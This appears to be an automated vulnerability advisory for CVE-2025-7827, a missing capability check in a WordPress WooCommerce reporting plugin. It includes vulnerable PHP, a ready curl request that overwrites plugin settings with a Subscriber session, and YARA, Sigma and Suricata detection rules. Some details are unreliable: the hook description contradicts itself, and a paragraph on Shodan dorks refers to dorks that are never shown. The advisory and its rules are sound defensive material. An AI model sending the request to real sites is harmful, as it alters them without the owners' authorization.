CVE-2025-7827
Executive Summary
CVE-2025-7827 is a Missing Authorization vulnerability in the Ni WooCommerce Customer Product Report plugin for WordPress, affecting all versions up to and including 1.2.4. The flaw resides in the ni_woocpr_action() function, which lacks a capability check, allowing authenticated attackers with Subscriber-level access or higher to modify plugin settings. This can lead to unauthorized changes to the plugin's configuration, potentially disrupting reporting functionality or enabling further attacks.
The vulnerability has a CVSS v3.1 base score of 4.3 (Medium), with a low attack complexity and no user interaction required. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is elevated for WordPress sites with untrusted subscriber accounts.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and third-party marketplaces. No official patch has been released by the vendor (Ni). Users must manually apply mitigations or remove the plugin until a fix is available.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Requires Subscriber-level authentication.
- User Interaction (UI): None (N) – No victim action needed.
- Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
- Confidentiality (C): None (N) – No data disclosure.
- Integrity (I): Low (L) – Plugin settings can be modified.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium. The vulnerability is easy to exploit but requires authentication and only affects plugin settings integrity.
Deep Dive & Mechanics
The ni_woocpr_action() function is registered via wp_ajax_ni_woocpr_action and wp_ajax_nopriv_ni_woocpr_action hooks, but the nopriv variant is not present in the vulnerable code. The function processes AJAX requests to update plugin options (e.g., enabling/disabling reports, setting thresholds). The missing current_user_can() check allows any authenticated user, including Subscribers, to call this function and modify arbitrary plugin settings stored in the WordPress options table.
Attack Flow:
- Attacker authenticates as a Subscriber.
- Sends a crafted POST request to
/wp-admin/admin-ajax.phpwithaction=ni_woocpr_actionand malicious parameters. - The function updates plugin settings without verifying capabilities.
- Attacker can disable reports, alter thresholds, or inject malicious values.
Vulnerable vs. Patched Code
Vulnerable Code (ni-woocpr.php, line ~45):
add_action('wp_ajax_ni_woocpr_action', 'ni_woocpr_action');
function ni_woocpr_action() {
// No capability check
update_option('ni_woocpr_settings', $_POST['settings']);
wp_die();
}
Patched Code (Hypothetical Fix):
add_action('wp_ajax_ni_woocpr_action', 'ni_woocpr_action');
function ni_woocpr_action() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
update_option('ni_woocpr_settings', $_POST['settings']);
wp_die();
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with Ni WooCommerce Customer Product Report <= 1.2.4.
- Valid Subscriber account credentials.
Exploit Steps:
- Log in as Subscriber.
- Send the following AJAX request:
curl -X POST https://target.com/wp-admin/admin-ajax.php \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=ni_woocpr_action&settings[enable_report]=0&settings[threshold]=9999" \
--cookie "wordpress_logged_in_<hash>=<subscriber_cookie>"
- Verify settings changed by checking plugin dashboard.
Expected Outcome: Plugin settings are overwritten without authorization.
Blue Team (Detection & Response)
Detection Steps:
- Monitor AJAX requests to
admin-ajax.phpwithaction=ni_woocpr_actionfrom non-admin users. - Check for unexpected changes to the
ni_woocpr_settingsoption in the database. - Review user role assignments for Subscriber accounts.
Response:
- Immediately disable the plugin if no patch is available.
- Revoke suspicious Subscriber accounts.
- Restore plugin settings from backup.
Indicators of Compromise (IOCs)
- Network: POST requests to
/wp-admin/admin-ajax.phpwithaction=ni_woocpr_actionfrom low-privilege users. - File: Modified
ni_woocpr_settingsoption inwp_optionstable. - Log: WordPress debug log entries showing
ni_woocpr_actioncalls from unexpected roles. - Behavior: Plugin settings changed without admin action.
Detection Engineering
YARA Rule
rule CVE_2025_7827_Ni_WooCommerce_Missing_Auth {
meta:
description = "Detects vulnerable Ni WooCommerce Customer Product Report plugin code"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-7827"
strings:
$func = "ni_woocpr_action"
$hook = "wp_ajax_ni_woocpr_action"
$no_check = "current_user_can" nocase
condition:
$func and $hook and not $no_check
}
Sigma Rule
title: CVE-2025-7827 - Ni WooCommerce Plugin Settings Modification
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects unauthorized modification of Ni WooCommerce plugin settings via AJAX
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url: "/wp-admin/admin-ajax.php"
http.body: "action=ni_woocpr_action"
http.method: "POST"
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-7827 - Ni WooCommerce Plugin Settings Modification"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ni_woocpr_action"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Restrict Subscriber accounts – Remove untrusted users.
- Add capability check manually (if code access available):
- Insert
if (!current_user_can('manage_options')) { wp_die('Unauthorized', 403); }at the start ofni_woocpr_action().
- Insert
Long-term:
- Monitor vendor (Ni) for updates.
- Implement Web Application Firewall (WAF) rules to block
ni_woocpr_actionfrom non-admin users. - Use WordPress security plugins to enforce role-based access.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.